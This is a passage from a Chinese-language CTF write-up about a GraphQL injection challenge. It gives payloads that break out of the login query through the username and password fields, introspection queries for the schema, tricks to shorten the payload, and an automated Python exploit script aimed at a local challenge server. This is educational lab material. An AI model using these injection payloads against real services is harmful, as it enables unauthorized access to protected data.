<span><span style="color: #D6DEEB">                        }</span></span>
<span><span style="color: #D6DEEB">                      }</span></span>
<span><span style="color: #D6DEEB">                    }</span></span>
<span><span style="color: #D6DEEB">                  }</span></span>
<span><span style="color: #D6DEEB">                }</span></span>
<span><span style="color: #D6DEEB">              }</span></span>
<span><span style="color: #D6DEEB">            }</span></span>
<span><span style="color: #D6DEEB">          }</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">      }</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<p>拿到 schema 之后<span class="mojikumi-line-end">，</span>就可以查询 flag 了<span class="mojikumi-line-end">。</span>利用 <code>login</code> 中的 <code>username</code> 进行回显<span class="mojikumi-line-end">，</span>需要给 <code>ok</code> 和 <code>isAdmin</code> 填东西<span class="mojikumi-line-end">，</span>让 <code>ok</code> 为 truthy<span class="mojikumi-line-end">。</span>如果都查 flag<span class="mojikumi-line-end">，</span>整个询问太长<span class="mojikumi-line-end">，</span>无法通过一开始的 256 长度限制<span class="mojikumi-line-end">，</span>但后来这个限制被放宽了<span class="mojikumi-line-end">，</span>所以就够了<span class="mojikumi-line-end">：</span><code>secret {{ ok: {query} isAdmin: {query} username: {query} }}</code></p>
<p>我有四种询问构造方法可以缩短长度<span class="mojikumi-line-end">：</span></p>
<ul>
<li>
<p>可以使用 <code>__typename</code><span class="mojikumi-line-end">：</span><code>login: secret {{ ok: __typename isAdmin: __typename username: {query} }}</code></p>
</li>
<li>
<p>实际上<span class="mojikumi-line-end">，</span>观察代码可以发现<span class="mojikumi-line-end">，</span>如果缺少 <code>isAdmin</code> 字段<span class="mojikumi-line-end">，</span>虽然会返回<span class="mojikumi-line-start">“</span>登录失败<span class="mojikumi">”</span><span class="mojikumi-line-end">，</span>但此时 <code>session<wbr>['<wbr>username<wbr>']</code> 已赋值<span class="mojikumi-line-end">，</span>可以拿到回显<span class="mojikumi-line-end">，</span>所以不需要 <code>isAdmin</code> 字段<span class="mojikumi-line-end">：</span><code>login: secret {{ ok: {query} username: {query} }}</code></p>
</li>
<li>
<p>可以使用 fragment 把重复的 flag 查询提取出来<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-6"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-6--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">login: secret </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    ok: secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">xxx</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    isAdmin: secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">xxx</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    username: secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">xxx</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">  </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">  ... l</span></span>
<span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">fragment i on Secret_</span><span style="color: #4876D6">{</span><span style="color: #403F53">yyy</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">  </span><span style="color: #4876D6">{</span><span style="color: #403F53">inner_query</span><span style="color: #4876D6">}</span></span>
<span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">fragment l on Query </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    x: #&#39;&#39;&#39;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&#39;&#39;</span></span>
<span><span style="color: #ECC48D">login: secret </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    ok: secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">xxx</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    isAdmin: secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">xxx</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    username: secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">xxx</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">  </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">  ... l</span></span>
<span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">fragment i on Secret_</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">yyy</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">  </span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">inner_query</span><span style="color: #82AAFF">}</span></span>
<span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">fragment l on Query </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    x: #&#39;&#39;&#39;</span></span></code></pre></div></section>
</li>
<li>
<p>还可以找到最浅的叶子节点<span class="mojikumi-line-start">（</span>scalar value<span class="mojikumi-line-end">）</span>代替 flag 放到 <code>ok</code> 和 <code>isAdmin</code><span class="mojikumi-line-end">。</span>根据 schema 的随机生成方式<span class="mojikumi-line-end">，</span>有 94% 的概率<span class="mojikumi-line-start">（</span>没算错的话<span class="mojikumi-line-end">）</span>payload 长度能在 256 以内<span class="mojikumi-line-end">；</span>如果你非常不幸<span class="mojikumi-line-end">，</span>可以重开题目<span class="mojikumi-line-end">。</span></p>
</li>
</ul>
<p>除了上面这些查询构造方法<span class="mojikumi-line-end">，</span>还可以在发送 payload 时同时利用 <code>username</code> 和 <code>password</code><span class="mojikumi-line-end">，</span>只不过由于 <code>username</code> 长度限制太小<span class="mojikumi-line-end">，</span>这个优化效果不大<span class="mojikumi-line-end">：</span><code>username</code> 填 <code>",$<wbr>password<wbr>:<wbr>String<wbr>=""){<wbr>login<wbr>:#</code><span class="mojikumi-line-end">，</span><code>password</code> 填 <code>\<wbr>n<wbr>{<wbr>payload<wbr>}<wbr>x<wbr>:#</code><span class="mojikumi-line-end">，</span>可以省下 <code>){login:</code><span class="mojikumi-line-end">。</span>另外<span class="mojikumi-line-end">，</span>把 object 放前面 scalar 放后面可以利用大括号省去一个空格<span class="mojikumi-line-end">。</span></p>
<p>但这些都是我在开赛后发现有人被卡长度才想到的<span class="mojikumi-line-end">，</span>一开始根本没意识到这里会卡住<span class="mojikumi-line-start">（</span></p>
<p>完整脚本<span class="mojikumi-line-start">（</span>这个是纯自动的<span class="mojikumi-line-end">，</span>包含上面提到的各种做法<span class="mojikumi-line-end">，</span>实际做不需要纯自动<span class="mojikumi-line-end">，</span>比如可以手动得到 flag 询问路径<span class="mojikumi">）</span><span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-7"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-7--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">from</span><span style="color: #403F53"> ast </span><span style="color: #994CC3">import</span><span style="color: #403F53"> literal_eval</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> html </span><span style="color: #994CC3">import</span><span style="color: #403F53"> unescape</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> http.cookies </span><span style="color: #994CC3">import</span><span style="color: #403F53"> SimpleCookie</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> os</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> re</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> requests</span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> secrets</span></span>
<span></span>
<span><span style="color: #4876D6">URL</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> os.environ.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">URL</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">http://localhost:5000</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #4876D6">COOKIE</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> os.environ.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">COOKIE</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;&#39;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">cookie </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">SimpleCookie</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">cookie.</span><span style="color: #0C969B">load</span><span style="color: #403F53">(</span><span style="color: #4876D6">COOKIE</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">session </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">Session</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">session.cookies.</span><span style="color: #0C969B">update</span><span style="color: #403F53">(</span><span style="color: #4876D6">{k: v.value </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> k, v </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> cookie.</span><span style="color: #0C969B">items</span><span style="color: #403F53">()</span><span style="color: #4876D6">}</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">register</span><span style="color: #111111">(</span><span style="color: #0C969B">username</span><span style="color: #403F53">, </span><span style="color: #0C969B">password</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> session.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/register&#39;</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #403F53">data</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">username</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: username, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">password</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: password}</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res.</span><span style="color: #0C969B">raise_for_status</span><span style="color: #403F53">()</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">login</span><span style="color: #111111">(</span><span style="color: #0C969B">username</span><span style="color: #403F53">, </span><span style="color: #0C969B">password</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{username = }</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{password = }</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> session.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/login&#39;</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #403F53">data</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">username</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: username, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">password</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: password}</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res.</span><span style="color: #0C969B">raise_for_status</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> res.text</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">sol1</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    username </span><span style="color: #994CC3">=</span><span style="color: #403F53"> secrets.</span><span style="color: #0C969B">token_hex</span><span style="color: #403F53">(</span><span style="color: #AA0982">16</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    password </span><span style="color: #994CC3">=</span><span style="color: #403F53"> secrets.</span><span style="color: #0C969B">token_hex</span><span style="color: #403F53">(</span><span style="color: #AA0982">16</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">register</span><span style="color: #403F53">(</span><span style="color: #4876D6">username</span><span style="color: #111111">,</span><span style="color: #4876D6"> password</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    payload </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;</span><span style="color: #4876D6">{</span><span style="color: #403F53">password</span><span style="color: #4876D6">}</span><span style="color: #C96765">&quot;) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    login(username: $username, password: $password) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">      ok</span></span>
<span><span style="color: #C96765">      isAdmin: ok</span></span>
<span><span style="color: #C96765">      username</span></span>
<span><span style="color: #C96765">    </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    originalQuery:</span></span>
<span><span style="color: #C96765">    #&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #0C969B">login</span><span style="color: #403F53">(</span><span style="color: #4876D6">username</span><span style="color: #111111">,</span><span style="color: #4876D6"> payload</span><span style="color: #403F53">))</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">send</span><span style="color: #111111">(</span><span style="color: #0C969B">payload</span><span style="color: #403F53">: </span><span style="color: #4876D6">str</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    payload </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">sub</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&quot;</span><span style="color: #5CA7E4">\s</span><span style="color: #0C969B">+</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765"> </span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> payload</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    payload </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">sub</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&quot;</span><span style="color: #5CA7E4">^ </span><span style="color: #0C969B">|</span><span style="color: #5CA7E4"> $</span><span style="color: #0C969B">|(?&lt;=</span><span style="color: #5CA7E4">\W</span><span style="color: #0C969B">)</span><span style="color: #5CA7E4"> </span><span style="color: #0C969B">|</span><span style="color: #5CA7E4"> </span><span style="color: #0C969B">(?=</span><span style="color: #5CA7E4">\W</span><span style="color: #0C969B">)</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> payload</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># res = login(&#39;x&#39;, f&#39;&quot;){{login:{payload}x:#&#39;)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">login</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">&quot;,$password:String=&quot;&quot;){login:#</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #AA0982">\n</span><span style="color: #4876D6">{payload}</span><span style="color: #C96765">x:#&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    username </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">search</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&#39;</span><span style="color: #5CA7E4">用户名&lt;/strong&gt;\s</span><span style="color: #0C969B">*</span><span style="color: #5CA7E4">&lt;div&gt;(.</span><span style="color: #0C969B">*?</span><span style="color: #5CA7E4">)&lt;/div&gt;</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> res</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> username </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #0C969B">literal_eval</span><span style="color: #403F53">(</span><span style="color: #0C969B">unescape</span><span style="color: #403F53">(</span><span style="color: #4876D6">username.</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #403F53">)))</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">introspection1</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    introspection </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">    __schema {</span></span>
<span><span style="color: #C96765">      ok: __typename</span></span>
<span><span style="color: #C96765">      username: types {</span></span>
<span><span style="color: #C96765">        name</span></span>
<span><span style="color: #C96765">        fields {</span></span>
<span><span style="color: #C96765">          name</span></span>
<span><span style="color: #C96765">          type {</span></span>
<span><span style="color: #C96765">            name</span></span>
<span><span style="color: #C96765">          }</span></span>
<span><span style="color: #C96765">        }</span></span>
<span><span style="color: #C96765">      }</span></span>
<span><span style="color: #C96765">    }</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #403F53">    fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span></span>
<span><span style="color: #403F53">    types </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #4876D6">introspection</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> t </span><span style="color: #994CC3">in</span><span style="color: #403F53"> types:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> t.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">        fields[t[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f </span><span style="color: #994CC3">in</span><span style="color: #403F53"> t[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]:</span></span>
<span><span style="color: #403F53">            fields[t[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]]</span><span style="color: #111111">[</span><span style="color: #403F53">f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">type</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #111111">]</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> fields</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">introspection2</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    introspection </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">    __type(name: &quot;Secret&quot;) {</span></span>
<span><span style="color: #C96765">      ok: name</span></span>
<span><span style="color: #C96765">      username: fields {</span></span>
<span><span style="color: #C96765">        name</span></span>
<span><span style="color: #C96765">        type {</span></span>
<span><span style="color: #C96765">          name</span></span>
<span><span style="color: #C96765">          fields {</span></span>
<span><span style="color: #C96765">            name</span></span>
<span><span style="color: #C96765">            type {</span></span>
<span><span style="color: #C96765">              name</span></span>
<span><span style="color: #C96765">              fields {</span></span>
<span><span style="color: #C96765">                name</span></span>
<span><span style="color: #C96765">                type {</span></span>
<span><span style="color: #C96765">                  name</span></span>
<span><span style="color: #C96765">                  fields {</span></span>
<span><span style="color: #C96765">                    name</span></span>
<span><span style="color: #C96765">                    type {</span></span>
<span><span style="color: #C96765">                      name</span></span>
<span><span style="color: #C96765">                      fields {</span></span>
<span><span style="color: #C96765">                        name</span></span>
<span><span style="color: #C96765">                        type {</span></span>
<span><span style="color: #C96765">                          name</span></span>
<span><span style="color: #C96765">                          fields {</span></span>
<span><span style="color: #C96765">                            name</span></span>
<span><span style="color: #C96765">                            type {</span></span>
<span><span style="color: #C96765">                              name</span></span>
<span><span style="color: #C96765">                              fields {</span></span>
<span><span style="color: #C96765">                                name</span></span>
<span><span style="color: #C96765">                                type {</span></span>
<span><span style="color: #C96765">                                  name</span></span>
<span><span style="color: #C96765">                                  fields {</span></span>
<span><span style="color: #C96765">                                    name</span></span>
<span><span style="color: #C96765">                                    type { name }</span></span>
<span><span style="color: #C96765">                                  }</span></span>
<span><span style="color: #C96765">                                }</span></span>
<span><span style="color: #C96765">                              }</span></span>
<span><span style="color: #C96765">                            }</span></span>
<span><span style="color: #C96765">                          }</span></span>
<span><span style="color: #C96765">                        }</span></span>
<span><span style="color: #C96765">                      }</span></span>
<span><span style="color: #C96765">                    }</span></span>
<span><span style="color: #C96765">                  }</span></span>
<span><span style="color: #C96765">                }</span></span>
<span><span style="color: #C96765">              }</span></span>
<span><span style="color: #C96765">            }</span></span>
<span><span style="color: #C96765">          }</span></span>
<span><span style="color: #C96765">        }</span></span>
<span><span style="color: #C96765">      }</span></span>
<span><span style="color: #C96765">    }</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span></span>
<span><span style="color: #403F53">    secret_fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #4876D6">introspection</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">dfs</span><span style="color: #111111">(</span><span style="color: #0C969B">u</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">] </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields </span><span style="color: #994CC3">or</span><span style="color: #403F53"> u.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span></span>
<span><span style="color: #403F53">        fields[u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f </span><span style="color: #994CC3">in</span><span style="color: #403F53"> u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]:</span></span>
<span><span style="color: #403F53">            fields[u[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]]</span><span style="color: #111111">[</span><span style="color: #403F53">f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">type</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span><span style="color: #111111">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #111111">]</span></span>
<span><span style="color: #403F53">            </span><span style="color: #0C969B">dfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">f</span><span style="color: #403F53">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">type</span><span style="color: #111111">&#39;</span><span style="color: #403F53">])</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">dfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">name</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: </span><span style="color: #111111">&#39;</span><span style="color: #C96765">Secret</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">fields</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: secret_fields}</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> fields</span></span>
<span></span>
<span></span>
